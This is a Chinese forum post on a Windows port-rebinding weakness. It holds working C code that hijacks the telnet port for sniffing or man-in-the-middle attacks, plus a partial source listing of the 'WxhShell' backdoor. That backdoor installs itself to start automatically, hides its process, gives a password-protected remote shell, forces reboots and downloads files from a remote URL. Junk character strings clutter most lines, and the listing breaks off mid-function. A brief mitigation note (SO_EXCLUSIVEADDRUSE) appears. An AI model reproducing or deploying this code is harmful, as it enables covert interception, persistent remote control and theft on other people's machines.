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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [z+YX s!N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }9#GJ:x`  
|$ZS26aYw}  
  saddr.sin_family = AF_INET; ZM <UiN  
+7n vy^m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aGsO~ODc  
%g3QE:(2@q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); P4c3kO0  
8>D*U0sNl  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B,%KvL&xMX  
OL:hNbw'~T  
  这意味着什么?意味着可以进行如下的攻击: 4^4T#f2=e  
B4+c3M\$V  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pv&iJ7RN  
1/qD5 *`Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8ph1xQ'  
pY&dw4V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?hR0 MnP  
8m `Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,# .12Q!  
JP {`^c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jUR* |  
$ndBT+ i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Cw kQhj?  
LTH, a?lD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X*d!A >s  
dn Xu(e%  
  #include x_?K6[G&}  
  #include ~i'!;'-_}  
  #include WX_g  
  #include    HU4h.Lm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   u|u)8;'9(  
  int main() _v,Wl/YAp  
  { T g3MPa#g  
  WORD wVersionRequested; $AMcU5^b7  
  DWORD ret; M(C}2.20  
  WSADATA wsaData; W$J.B!O  
  BOOL val; Us2> 5 :\  
  SOCKADDR_IN saddr; yf R0vp<&  
  SOCKADDR_IN scaddr; KM"?l<x0Y  
  int err; XpK  Y#  
  SOCKET s; es.Y  
  SOCKET sc; >TawJ"q-6R  
  int caddsize; *8yC6|wL?  
  HANDLE mt; q D=b+\F  
  DWORD tid;    CWYOzqf  
  wVersionRequested = MAKEWORD( 2, 2 ); B,Tv9(sv  
  err = WSAStartup( wVersionRequested, &wsaData ); *-q &~  
  if ( err != 0 ) { ]W~M?1 }  
  printf("error!WSAStartup failed!\n"); !bnnUCTb\  
  return -1; H!6&'=c{k  
  } tI#65ox#  
  saddr.sin_family = AF_INET; Sz')1<  
   p:{L fQ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o54=^@>O<j  
xcQ^y}JN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l 6aD3?8LN  
  saddr.sin_port = htons(23); rwh 4/h^S  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `_ZbA#R,  
  { 48G^$T{  
  printf("error!socket failed!\n"); RF4B ]Gqd  
  return -1; :6EX-Xyj  
  } pm i[M)D  
  val = TRUE; m] p]J_6A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~HT:BO$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) REi"Aj=  
  { CD^@*jH9"  
  printf("error!setsockopt failed!\n"); 2.v`J=R  
  return -1; $M4_"!  
  } 2_?VR~mA#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }XpZgd$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9:Bn-3)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 aYHs35  
}S13]Kk?=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1Ak0A6E  
  { een62-`  
  ret=GetLastError(); VAyAXN~  
  printf("error!bind failed!\n"); ~YviXSW  
  return -1; j>v8i bS(  
  } 7*Zm{r@u  
  listen(s,2); ,lFzL3'_0x  
  while(1) v{*2F  
  { |Dq?<Ha  
  caddsize = sizeof(scaddr); Ju;^^  
  //接受连接请求 d& v 7l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J<Ki;_=I  
  if(sc!=INVALID_SOCKET) O(.eHZ=  
  { |gINB3L  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); qxZf!NX5  
  if(mt==NULL) np}0O  X  
  { 8+(wAbp  
  printf("Thread Creat Failed!\n"); Tgi7RAY  
  break; 78?{;iNv  
  } L6!Hv{ijn  
  } F4Cq85#  
  CloseHandle(mt); K!E\v4  
  } +G7[(Wz(z  
  closesocket(s); ,5 3`t  
  WSACleanup(); j0 Os]a  
  return 0; 19oyoi"  
  }   aSHN*tP%y  
  DWORD WINAPI ClientThread(LPVOID lpParam) uz=9L<$  
  { HoWK# Nz\  
  SOCKET ss = (SOCKET)lpParam; 6ZjY-)h  
  SOCKET sc; I,& gKgh  
  unsigned char buf[4096]; Jiru~Vo+  
  SOCKADDR_IN saddr; HFz;"s3lWM  
  long num; BI!EmA  
  DWORD val; H,j_2JOY=  
  DWORD ret; ]f wW dtz1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qk0cf~ gz  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c@4$)68  
  saddr.sin_family = AF_INET; 2t{Tz}g*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); XZ8]se"C  
  saddr.sin_port = htons(23); I_`NjJ;61  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /@DJf\`vM  
  { YuzVh9jTI  
  printf("error!socket failed!\n"); l6IT o@&J  
  return -1; ]}]+aB  
  } R7FI{ A  
  val = 100; u-V( 2?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _l,-S Qgj  
  { mOLz(0  
  ret = GetLastError(); -ni@+Dy  
  return -1; %)&Tr`   
  } ;LKYA?=/V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x&EMg!  
  { rO/Sj<0^  
  ret = GetLastError(); W3%RB[s-  
  return -1; 0}9jl  
  } k@[[vj|W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) p2+K-/}ApP  
  { i.-2 w6  
  printf("error!socket connect failed!\n"); CWd &  
  closesocket(sc); O%&N6U  
  closesocket(ss); $"0`2C  
  return -1; 1$m{)Io2(  
  } 2) 2:KX  
  while(1) UvqnNA  
  { Zl]@;*u  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E2S#REB4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F2)KAIl  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9u3P>a~b  
  num = recv(ss,buf,4096,0); %\!0*(8  
  if(num>0) -`t9@1P> =  
  send(sc,buf,num,0); e?]HNy  
  else if(num==0) Az>r}*F Gr  
  break; `P*wZKlW  
  num = recv(sc,buf,4096,0); ,. <c|5R  
  if(num>0) BcQw-<veu  
  send(ss,buf,num,0); X%7l! k[  
  else if(num==0) a [f}-t9  
  break; `\=~ $&vjC  
  } ~!%G2E!  
  closesocket(ss); s]D1s%Mx  
  closesocket(sc); k6\&[BQs  
  return 0 ; Ms+SJ5Lg  
  } !rG-[7K  
_,p/2m-Pj  
3 rLc\rK  
========================================================== N5xI;UV9'  
dLR[<@E  
下边附上一个代码,,WXhSHELL FL0yRF5  
rK'O 85)eU  
========================================================== xa{.hp?  
lhBAT%U\  
#include "stdafx.h" J10&iCr{r*  
iqsR]mab  
#include <stdio.h> W3R43>$  
#include <string.h> nwDGzC~y<  
#include <windows.h> QlH[_Pi  
#include <winsock2.h> C]na4yE 8  
#include <winsvc.h> FEV Ya#S  
#include <urlmon.h> G('UF1F  
c/(Dg$DbX  
#pragma comment (lib, "Ws2_32.lib")  (8 /&  
#pragma comment (lib, "urlmon.lib") WaE%g   
z`]:\j'O3"  
#define MAX_USER   100 // 最大客户端连接数 N Zwi3  
#define BUF_SOCK   200 // sock buffer MOuEsm;  
#define KEY_BUFF   255 // 输入 buffer O8LIKD_I[  
D8$4PT0u  
#define REBOOT     0   // 重启 $?pfst~;O  
#define SHUTDOWN   1   // 关机 .9<euPrz  
d zV2;  
#define DEF_PORT   5000 // 监听端口 @%^h|g8>Fu  
V.ae 5@;  
#define REG_LEN     16   // 注册表键长度 yv$hIU2X  
#define SVC_LEN     80   // NT服务名长度 G^/8^Zi  
)31xl6@  
// 从dll定义API C7&L9k~jf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &.Yu%=}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Go[anf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~ D/1U)kt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v <| iN#  
1Z_ H% (  
// wxhshell配置信息 -"bC[WN  
struct WSCFG { pE.TG4  
  int ws_port;         // 监听端口 r8o^8.  
  char ws_passstr[REG_LEN]; // 口令 <anU#bEuQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^r{N^  
  char ws_regname[REG_LEN]; // 注册表键名 @CC 6 `D  
  char ws_svcname[REG_LEN]; // 服务名 Y{X%C\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _) UnHp_^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 un)PW&~E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $vn x)#r3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #"[EVF0%1D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P|;f>*^Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J d,9<m $  
OA[fQH#{lX  
}; 5`::#[  
}=u#,nDl>$  
// default Wxhshell configuration ?MvL}o\|  
struct WSCFG wscfg={DEF_PORT, `?"r\Qo<  
    "xuhuanlingzhe", !0v3Lu ~j  
    1, g$qM}#s0}  
    "Wxhshell", uaha)W;'9  
    "Wxhshell", nM99AW  
            "WxhShell Service", C!Fi &~  
    "Wrsky Windows CmdShell Service", Xp fw2;`U'  
    "Please Input Your Password: ", Z[1|('   
  1, 0J;Qpi!u2v  
  "http://www.wrsky.com/wxhshell.exe", 9LOq*0L_:  
  "Wxhshell.exe" FrV8_[  
    }; a!;#u 8f  
gMU%.%p2  
// 消息定义模块 Ejyo oO45  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n6C!5zq7U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9aKO||i,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /2 $d'e  
char *msg_ws_ext="\n\rExit."; p>W@h*[6w  
char *msg_ws_end="\n\rQuit."; ?&VKZSo  
char *msg_ws_boot="\n\rReboot..."; 9N6 \Ou~  
char *msg_ws_poff="\n\rShutdown..."; )C rsm&  
char *msg_ws_down="\n\rSave to "; 9)4_@rf%  
 jQ-2SA O  
char *msg_ws_err="\n\rErr!"; +Y>oNX1KN  
char *msg_ws_ok="\n\rOK!"; ]y"=/Nu-Ja  
gy"<[N .?c  
char ExeFile[MAX_PATH]; ,!P}Y[|  
int nUser = 0; bb-u'"5^]  
HANDLE handles[MAX_USER]; }gd'pgN"t  
int OsIsNt; Z,8t!Y  
ylQ9Su>o  
SERVICE_STATUS       serviceStatus; A}_pJH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p xW*kS  
J.c yb  
// 函数声明 @Z<Z//^k  
int Install(void); XS.*CB_m_  
int Uninstall(void); vr_Z0]4`C9  
int DownloadFile(char *sURL, SOCKET wsh); bP4}a!t+n  
int Boot(int flag); 4"\%/kG  
void HideProc(void); WzBr1 ea{I  
int GetOsVer(void); D4~]:@v~n  
int Wxhshell(SOCKET wsl); v8C4BuwA  
void TalkWithClient(void *cs); {~XnmBs  
int CmdShell(SOCKET sock); "h8fTB\7S\  
int StartFromService(void); }?sC1]-j&  
int StartWxhshell(LPSTR lpCmdLine);  EIPXq  
y43ha  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Au:R]7   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z A/Fh(uX  
3h}i="i   
// 数据结构和表定义 \(r$f!`  
SERVICE_TABLE_ENTRY DispatchTable[] = ; {v2s;  
{  #J  
{wscfg.ws_svcname, NTServiceMain}, *<X*)A{C  
{NULL, NULL} #RHt;SFx  
}; gq="&  
1had8K-  
// 自我安装 fm q(!  
int Install(void) NB-%Tp*d  
{ "w__AYHV  
  char svExeFile[MAX_PATH]; K'f2 S  
  HKEY key; `Io#440;  
  strcpy(svExeFile,ExeFile); T>J ,kh  
8O[l[5u&  
// 如果是win9x系统,修改注册表设为自启动 be?Bf^O>  
if(!OsIsNt) { ~Bi%8G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2HF`}H)H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z_[L5B]Gwd  
  RegCloseKey(key); !-ZY_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1X9J[5|ll  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^1_CS*  
  RegCloseKey(key); [\  &2&  
  return 0; lR]FQnZ  
    } {.J<^V  
  } j-ob7(v)*]  
} Qraa0]56  
else { #qeC)T  
6E.[F\u  
// 如果是NT以上系统,安装为系统服务 s-~`Ao' <  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DgB;6Wl  
if (schSCManager!=0) _CBMU'V  
{ `g0^ W/ j  
  SC_HANDLE schService = CreateService k(_OhV_  
  ( \r [@A3O  
  schSCManager, 7OS i2  
  wscfg.ws_svcname, 08! _B\  
  wscfg.ws_svcdisp, ):y^g:  
  SERVICE_ALL_ACCESS, V/zmbo)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *p9k> )'J  
  SERVICE_AUTO_START, kfZ(:3W$  
  SERVICE_ERROR_NORMAL, 0|8cSE< i  
  svExeFile, D|^N9lDaQ  
  NULL, G2-0r.f  
  NULL, m!=5Q S3Z  
  NULL, 0Gu?;]GSv  
  NULL, k"%sdYkb!  
  NULL =YD<q:n4  
  ); w^,Xa  
  if (schService!=0) Mc$rsqDz  
  { E[4 vUnm-  
  CloseServiceHandle(schService); L!,@_   
  CloseServiceHandle(schSCManager); GK[9IF#_>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nq~fH(QY  
  strcat(svExeFile,wscfg.ws_svcname); ixE w!t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hTmJ ~m'J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6\`8b&'n  
  RegCloseKey(key); 15yiDI o  
  return 0; qk(bA/+e  
    } !!w(`kmn1  
  } 9vSKIq  
  CloseServiceHandle(schSCManager); VN'\c3;  
} S(CVkCP  
} 'f CSP|  
1GB]Yi[>  
return 1; 16 \)C/*  
} Q>cEG"  
*xY3F8  
// 自我卸载 -  eIo  
int Uninstall(void) 7>0u N|  
{ {-f%g-@L6|  
  HKEY key; M9m~ck  
uh\Tf5  
if(!OsIsNt) { u|6-[I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oJ`=ob4WDo  
  RegDeleteValue(key,wscfg.ws_regname); ]'w5s dP  
  RegCloseKey(key); V`HnFAW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z4$9,p `  
  RegDeleteValue(key,wscfg.ws_regname); zQ<;3+*  
  RegCloseKey(key); nHRk2l|  
  return 0; 4:pgZz!  
  } 4^ U%` 1  
} F^S]7{  
} $Sa7N%D  
else { 4=;j.=>0X  
(U 4n} J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1LAd5X  
if (schSCManager!=0) "fUNrhCx  
{ 0,Ib74N'w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .yFO] r1aL  
  if (schService!=0) KWAd~8,mk  
  { }[h]z7e2S  
  if(DeleteService(schService)!=0) { Z:es7<#y  
  CloseServiceHandle(schService); XXA]ukj;r  
  CloseServiceHandle(schSCManager); o=K9\l  
  return 0; ,np|KoG|M  
  } 5FF28C)>/  
  CloseServiceHandle(schService); )=MK&72r  
  } ?~E"!  
  CloseServiceHandle(schSCManager); }maD8,:t  
} dQ9W40g1  
} 1eEML"  
}pnp._j  
return 1; u3E =r  
} =tP^vgfQ  
,v#n\LD`  
// 从指定url下载文件 B([-GpZt[  
int DownloadFile(char *sURL, SOCKET wsh) 'J5F+, \Ka  
{ j+{cc: h"X  
  HRESULT hr; 7YK6e  
char seps[]= "/"; >]C/ Q6  
char *token; mg@Ol"2  
char *file; (@qS  
char myURL[MAX_PATH]; AE~@F4MK  
char myFILE[MAX_PATH]; dqo-.,=  
1~3dX[&  
strcpy(myURL,sURL); :Ea|FAeK8  
  token=strtok(myURL,seps); ;Bj&9DZd  
  while(token!=NULL) a1/+C$ oB  
  { k;2.g$)W[c  
    file=token; \8s:I+[HH  
  token=strtok(NULL,seps); pV;0Hcy  
  } w-xigm>{Z  
>goHQ30:  
GetCurrentDirectory(MAX_PATH,myFILE); 5?? }9  
strcat(myFILE, "\\"); n;$u%2t2  
strcat(myFILE, file); z@pa;_  
  send(wsh,myFILE,strlen(myFILE),0); j3T)gFP  
send(wsh,"...",3,0); 2FV@ ?x0po  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZGsd cnz  
  if(hr==S_OK) o0S 8ki  
return 0; %*wEzvt *  
else HW,v"  
return 1; _nEVmz!zg  
;134$7!Y  
} :FtV~^Z  
F]r'j ZL  
// 系统电源模块 @TX@78fWz=  
int Boot(int flag) )*{B_[  
{ Sy4|JM-5  
  HANDLE hToken; (C"q-0?n  
  TOKEN_PRIVILEGES tkp; Xw<;)m  
&=$f\O1Ty  
  if(OsIsNt) { GKSF(Tnj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KG9-ac  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _~ei1 G.R  
    tkp.PrivilegeCount = 1; O! XSU,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W*#5Sk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -C}"1|P!  
if(flag==REBOOT) { ?A_+G 5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JX[]u<h?  
  return 0; (xVx|:R[<H  
} <eS/-W %n6  
else { wVnmT94  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T]tu#h{ a  
  return 0; w?^[*_Y  
} VNIl%9:-l  
  } Q^nf D  
  else { cfa1"u""e  
if(flag==REBOOT) { F ]Zg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y Rl   
  return 0; Bp5ra9*5+~  
} 9+s&|XS*  
else { YM'4=BlJHv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CI$z+ zN  
  return 0; /2c(6h  
} s@7hoU-+  
} C4.GtY8,d  
K%mR=u#%&  
return 1; Y,Rr[i"j  
} G)t-W %D&  
a`#lYM%(>  
// win9x进程隐藏模块 uL1lB@G@  
void HideProc(void) II.: k.D`  
{ l"nS +z  
3o?eUwI}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ' VCuMCV  
  if ( hKernel != NULL ) .r6x9t  
  { 1Q? RD%lkf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PlLt^q.z[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X#JUorGp  
    FreeLibrary(hKernel); 0'$67pY  
  } lN,a+S/'  
\y(3b#  
return; 7(h@5  
} YW/V}C'>  
U4K ZPk  
// 获取操作系统版本 RtHai[j  
int GetOsVer(void) "0#(<zb|  
{ !bYVLFp=\_  
  OSVERSIONINFO winfo; Ry]9n.y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g0U?`;n$  
  GetVersionEx(&winfo); #G F.M,O/h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3 e1-w$z&S  
  return 1; w)@Wug  
  else JJ_ Z{  
  return 0; ~S;-sxoO0l  
} Q>Z~={"  
M."/"hV`-  
// 客户端句柄模块 ([>__c/Nd  
int Wxhshell(SOCKET wsl) J9*;Bqzim  
{ 7_l Wr  
  SOCKET wsh; uyB2   
  struct sockaddr_in client; TaHcvjhR  
  DWORD myID; LDHu10l  
v G\J8s  
  while(nUser<MAX_USER) 5=|h~/.k  
{ 7I"~a<f0X`  
  int nSize=sizeof(client); 5o>`7(t`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rM A%By^L-  
  if(wsh==INVALID_SOCKET) return 1; C`kqsK   
~//E'V-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wLqj<ot  
if(handles[nUser]==0) Qr3!6  
  closesocket(wsh); 9cP{u$  
else W$NFk(  
  nUser++; Aixe?A_x  
  } Q. O4R_H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (Q% @]  
*P`wuXn}  
  return 0; !'F1Ht  
} ;)CN=J!  
~B"HI+:\L  
// 关闭 socket .9B@w+=6  
void CloseIt(SOCKET wsh) 0,DrVGa  
{ ^ IuhHP  
closesocket(wsh); a?r$E.W'&  
nUser--; !s1<)%Jt  
ExitThread(0); Qr~!YPK\  
} qwj7CIc(  
r1<*=Fs=>>  
// 客户端请求句柄 g%S/)R,,ct  
void TalkWithClient(void *cs) 7:uz{xPK6  
{ a4~B  
1Xm>nF~  
  SOCKET wsh=(SOCKET)cs; 0'pB7^y  
  char pwd[SVC_LEN]; ( s4W&  
  char cmd[KEY_BUFF]; (E00T`@t0i  
char chr[1]; Ru*gbv,U  
int i,j; Pm)*zdZ8  
$G"\@YC<  
  while (nUser < MAX_USER) { "ckK{kS4~  
W#P\hx  
if(wscfg.ws_passstr) { [ R+M .5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {zm8`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A"b31*_  
  //ZeroMemory(pwd,KEY_BUFF); <af# C2`B  
      i=0; hwXsfh |  
  while(i<SVC_LEN) { dB4ifeT]  
-A w]b} #v  
  // 设置超时 p$1 'e,G  
  fd_set FdRead; |LQ%sV  
  struct timeval TimeOut; Z@Q*An  
  FD_ZERO(&FdRead); LS<+V+o2%  
  FD_SET(wsh,&FdRead); k"DZ"JC  
  TimeOut.tv_sec=8; CA`V)XIsP  
  TimeOut.tv_usec=0; }O@>:?U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *a CVkFp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W9w(a:~hY  
u]Vt>Ywu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q%kCTw  
  pwd=chr[0];  eu$VKLY*  
  if(chr[0]==0xd || chr[0]==0xa) { 9 CZ@IFS  
  pwd=0; _^GBfM.  
  break; MjC<N[WO>N  
  } TCyev[(  
  i++; _yN5sLLyb  
    } $aJay]F  
t>}S@T{~T  
  // 如果是非法用户,关闭 socket )$E){(Aa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [}HPV+j=U  
} wQy~5+LE  
,%IP27bPW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dR\yRC]I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T]&?^QGAZ  
8el6z2  
while(1) { E<3xv;v8r  
`0]N#G T  
  ZeroMemory(cmd,KEY_BUFF); GZrN,M  
\X*y~)+K`  
      // 自动支持客户端 telnet标准   LZ_VLW9w E  
  j=0; ,S`n?.&& 7  
  while(j<KEY_BUFF) { 5O]tkHYR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U~ a\v8l~  
  cmd[j]=chr[0]; @Drl5C}+  
  if(chr[0]==0xa || chr[0]==0xd) { SQK82 /  
  cmd[j]=0; 8ly)G  
  break; K(u pz n*a  
  } us|Hb  
  j++; 1DcBF@3sWG  
    } Q}B]b-c+E  
\a;xJzc9  
  // 下载文件 -avxH?;?7  
  if(strstr(cmd,"http://")) { UwS7B~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Iga +8k  
  if(DownloadFile(cmd,wsh)) Y2l;NSWU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8o|C43Q_  
  else ;AOLbmb)H4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =bD.5,F)  
  } PV~D;  
  else { cb)7$S  
Ojl X<y.  
    switch(cmd[0]) { |-S!)iG1V  
  [nVBnB  
  // 帮助 sv% E5@  
  case '?': { 5<PNl~0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Sq,>^|v4&e  
    break; #b428-  
  } 1ds4C:M+<  
  // 安装 4pT^ *  
  case 'i': { MFa/%O_*  
    if(Install()) zC)JOykI%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oc,I, v  
    else l([aKm#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D )`(b  
    break; W3UxFs]$  
    } T:{&e WH  
  // 卸载 =ZURh_{xV  
  case 'r': { ]}b  
    if(Uninstall()) tTTHQ7o*BD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |X>'W"Mn  
    else dYD;Z<l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ve"(}z  
    break; @hA`f4^  
    } B$2GEg]Ri  
  // 显示 wxhshell 所在路径 ; ,sNRES3  
  case 'p': { m0^ "fMV  
    char svExeFile[MAX_PATH]; %(&ja_oO  
    strcpy(svExeFile,"\n\r"); 8~Zw"  
      strcat(svExeFile,ExeFile); %JSRC<,a  
        send(wsh,svExeFile,strlen(svExeFile),0); O(%6/r`L,k  
    break; 3\P*"65  
    } Gu$J;bXVj  
  // 重启 e6_8f*o|s  
  case 'b': { pEcYfj3M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2C:u)}R7D  
    if(Boot(REBOOT)) 7:LEf"vRZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xP>cQELot  
    else { GNM>hQ)h:  
    closesocket(wsh); w]qM  
    ExitThread(0); KZg2`8F   
    } z0+JMZ/  
    break; :X}SuM ?c  
